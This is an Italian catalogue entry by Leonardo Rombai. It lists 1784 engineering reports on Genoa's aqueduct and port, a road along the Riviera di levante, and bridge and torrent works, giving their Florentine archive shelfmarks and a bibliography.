Relazione sull’acquedotto di Genova, 15 settembre 1784 (BNCF, Fondo Nazionale, II-310, ins. 1); Relazione sul Porto di Genova, 1784 (BNCF, Fondo Nazionale, II-310, ins. 2);
Osservazioni generali e particolari sul progetto della strada o carreggiabile o corriera per la Riviera di levante, partecipato in due volumi di piante da’ Sigg. Capitani Brusco e Ferretti, 1784 (BNCF, Fondo Nazionale, II-310, ins. 3);
Memoria per la costruzione del Ponte sul Torrente Ramairone, e Relazione della fabbrica del Ponte sul Fiume Lemo, e Relazione sulla sistemazione dei torrenti Gromolo e Petornia, 1784 (BNCF, Fondo Nazionale, II-310, inss. 4-5, 7 e 11 con altri analoghi scritti).

Fonti d’archivio:

Bibliografia:
Barsanti e Rombai, 1987; Barsanti e Rombai, a cura di, 1994, pp. 133-152; Barsanti, 1987, pp. 135, 136, 151, 152, 155 e 156; Rombai, Toccafondi e Vivoli, 1987, pp. 86, 119-124, 145-147 e 159; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 40 e 42; Barsanti, 1992, p. 63; Sterpos, 1977, pp. 7, 24-26 e 34; Zangheri, a cura di, 1984, p. 65; ASF, Reggenza; ASF, Ministero delle Finanze; ASF, Miscellanea di Finanze A; ASF, Segreteria di Finanze ante 1788; ASF, Piante dello Scrittoio delle Regie Fabbriche; ASF, Miscellanea di Piante; ASF, Piante di Ponti e Strade; ASF, Pratica Segreta di Pistoia; ASF, Camera di Soprintendenza Comunitativa; BNCF, Fondo Nazionale; AOXF; BFPt, Manoscritti.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai